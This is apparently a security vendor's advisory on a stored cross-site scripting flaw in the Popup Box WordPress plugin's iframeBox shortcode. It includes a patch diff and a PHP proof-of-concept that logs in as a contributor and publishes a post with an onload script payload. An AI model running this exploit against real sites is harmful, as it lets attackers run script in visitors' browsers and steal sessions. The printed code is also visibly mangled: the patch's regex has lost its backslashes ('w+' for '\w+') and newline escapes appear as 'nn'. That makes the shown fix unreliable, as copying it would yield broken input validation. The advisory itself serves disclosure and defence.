Atomic Edge analysis of CVE-2025-12122:
The Popup Box WordPress plugin contains an authenticated stored cross-site scripting (XSS) vulnerability in its ‘iframeBox’ shortcode handler. Attackers with contributor-level or higher permissions can inject arbitrary JavaScript into posts and pages. The vulnerability affects all plugin versions up to and including 3.2.12.
The root cause is insufficient input sanitization and output escaping for user-supplied HTML attributes passed to the shortcode. In the vulnerable version, the `wp_kses_post()` function is used on the entire `attr` parameter string in the `popup-box/public/class-shortcodes.php` file at line 65. The `wp_kses_post()` function is designed for sanitizing post content, not for individual HTML attributes. This allows an attacker to inject event handlers like `onload` or other scriptable attributes into the generated iframe tag.
Exploitation requires an authenticated user with at least contributor privileges. The attacker creates or edits a post or page and inserts the `[iframeBox]` shortcode. They supply malicious JavaScript within the `attr` parameter, for example: `[iframeBox link=”https://example.com” width=”600″ height=”400″ attr=”onload=alert(document.cookie)”]`. When the post is saved and subsequently viewed by any user, the injected script executes in the victim’s browser context.
The patch in version 3.2.13 replaces the broad `wp_kses_post()` call with a strict allowlist validation routine. The new code, from lines 65 to 89 in `class-shortcodes.php`, uses a regular expression to parse individual `name=value` pairs from the `attr` string. It then checks each attribute name against a predefined allowlist containing only safe iframe attributes like `title`, `frameborder`, and `allowfullscreen`. Each allowed attribute value is then properly escaped with `esc_attr()` before being reconstructed into the iframe tag.
Successful exploitation leads to stored XSS. Attackers can steal session cookies, perform actions on behalf of the victim, deface websites, or redirect users to malicious sites. The impact is limited by the contributor-level authentication requirement, but any user allowed to publish content can compromise site visitors.
--- a/popup-box/popup-box.php
+++ b/popup-box/popup-box.php
@@ -3,7 +3,7 @@
* Plugin Name: Popup Box
* Plugin URI: https://wordpress.org/plugin/popup-box/
* Description: The most powerful creator of popups & flyouts
- * Version: 3.2.12
+ * Version: 3.2.13
* Author: Wow-Company
* Author URI: https://wow-estore.com/
* License: GPL-2.0+
--- a/popup-box/public/class-shortcodes.php
+++ b/popup-box/public/class-shortcodes.php
@@ -65,7 +65,32 @@
'attr' => '',
), $atts, 'iframeBox' );
- $iframe = '<iframe width="' . esc_attr( $atts['width'] ) . '" height="' . esc_attr( $atts['height'] ) . '" src="' . esc_url( $atts['link'] ) . '" ' . wp_kses_post( $atts['attr'] ) . '></iframe>';
+ $allowed_attrs = array();
+ if ( ! empty( $atts['attr'] ) ) {
+ preg_match_all( '/(w+)=["']?([^"'>s]+)["']?/', $atts['attr'], $matches, PREG_SET_ORDER );
+
+ foreach ( $matches as $match ) {
+ $attr_name = strtolower( $match[1] );
+ $attr_value = $match[2];
+
+ if ( in_array( $attr_name, array( 'title', 'frameborder', 'allowfullscreen', 'loading', 'name', 'class', 'id' ), true ) ) {
+ $allowed_attrs[ $attr_name ] = esc_attr( $attr_value );
+ }
+ }
+ }
+
+ $attr_string = '';
+ foreach ( $allowed_attrs as $name => $value ) {
+ $attr_string .= ' ' . $name . '="' . $value . '"';
+ }
+
+ $iframe = sprintf(
+ '<iframe width="%s" height="%s" src="%s"%s></iframe>',
+ esc_attr( $atts['width'] ),
+ esc_attr( $atts['height'] ),
+ esc_url( $atts['link'] ),
+ $attr_string
+ );
return $iframe;
}
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-12122 - Popup Box – Easily Create WordPress Popups <= 3.2.12 - Authenticated (Contributor+) Stored Cross-Site Scripting
<?php
$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/post.php';
$username = 'contributor_user';
$password = 'contributor_password';
// Payload: Inject an onload handler that executes JavaScript
$shortcode_payload = '[iframeBox link="https://example.com" width="600" height="400" attr="onload=alert(`XSS`)"]';
$post_content = "This is a test post.nn" . $shortcode_payload . "nnEnd of post.";
$post_title = 'Test Post with XSS';
// Initialize cURL session for cookie handling
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Authenticate to WordPress
$login_url = str_replace('post.php', 'wp-login.php', $target_url);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
$login_fields = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_fields);
$response = curl_exec($ch);
// Step 2: Create a new post with the malicious shortcode
curl_setopt($ch, CURLOPT_URL, $target_url);
$post_fields = http_build_query([
'post_title' => $post_title,
'content' => $post_content,
'publish' => 'Publish',
'post_type' => 'post',
'_wpnonce' => '', // Nonce would be extracted from a real page; this is a simplified PoC
'post_status' => 'publish'
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);
// Check for success (simplified)
if (strpos($response, 'Post published.') !== false || strpos($response, 'Post updated.') !== false) {
echo "[+] Post created successfully with XSS payload.n";
// Extract the post URL from response (simplified)
echo "[+] Visit the published post to trigger the XSS.n";
} else {
echo "[-] Post creation may have failed. Check authentication and permissions.n";
}
curl_close($ch);
?>
